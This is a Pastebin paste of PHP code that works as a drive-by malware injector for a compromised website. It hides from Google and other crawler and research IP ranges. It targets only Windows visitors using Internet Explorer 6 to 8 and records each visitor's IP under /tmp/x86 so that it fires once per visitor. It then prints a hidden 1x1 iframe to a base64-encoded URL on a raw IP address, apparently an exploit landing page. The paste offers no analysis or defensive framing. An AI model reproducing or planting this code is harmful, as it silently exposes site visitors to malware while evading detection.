Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function net_match ( $network , $ip ) {
- $ip_arr = explode ( '/' , $network );
- $network_long = ip2long ( $ip_arr [ 0 ]);
- $x = ip2long ( $ip_arr [ 1 ]);
- $mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
- $ip_long = ip2long ( $ip );
- return ( $ip_long & $mask ) == ( $network_long & $mask );
- }
- function net()
- {
- $ip=$_SERVER['REMOTE_ADDR'];
- if(
- net_match('64.233.160.0/19',$ip)==0 &&
- net_match('66.102.0.0/20',$ip)==0 &&
- net_match('66.249.64.0/19',$ip)==0 &&
- net_match('72.14.192.0/18',$ip)==0 &&
- net_match('74.125.0.0/16',$ip)==0 &&
- net_match('89.207.224.0/24',$ip)==0 &&
- net_match('193.142.125.0/24',$ip)==0 &&
- net_match('194.110.194.0/24',$ip)==0 &&
- net_match('209.85.128.0/17',$ip)==0 &&
- net_match('216.239.32.0/19',$ip)==0 &&
- net_match('128.111.0.0/16',$ip)==0 &&
- net_match('67.217.0.0/16',$ip)==0 &&
- net_match('188.93.0.0/16',$ip)==0
- )
- return true;
- }
- function detect_os() {
- global $os;
- $user_agent = $_SERVER['HTTP_USER_AGENT'];
- if(strpos($user_agent, "Windows") !== false) $os = 'windows';
- }detect_os();
- function detect_brows() {
- global $OOOOO0000, $OOOOOO000;
- $user_agent = $_SERVER["HTTP_USER_AGENT"];
- if (preg_match("/MSIE 6.0/", $user_agent) OR
- preg_match("/MSIE 7.0/", $user_agent) OR
- preg_match("/MSIE 8.0/", $user_agent)
- ) $OOOOOO000 = "MSIE";
- }detect_brows();
- $IP = "{$_SERVER[REMOTE_ADDR]}.log";
- function _log()
- { global $IP;
- touch ("/tmp/x86/{$IP}");
- }
- function _check()
- {
- global $IP;
- if(!file_exists("/tmp/x86/{$IP}")) return true;
- }
- $drgk=base64_decode('aHR0cDovLzEyOS4xMjEuNDAuNDEvSG9tZS9pbmRleC5waHA=');
- if(_check())
- {
- if(net())
- {
- if($os)
- {
- if($OOOOOO000 == "MSIE")
- {
- echo '<iframe frameborder=0 src="'.$drgk.'" width=1 height=1 scrolling=no></iframe>';
- _log();
- }}}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement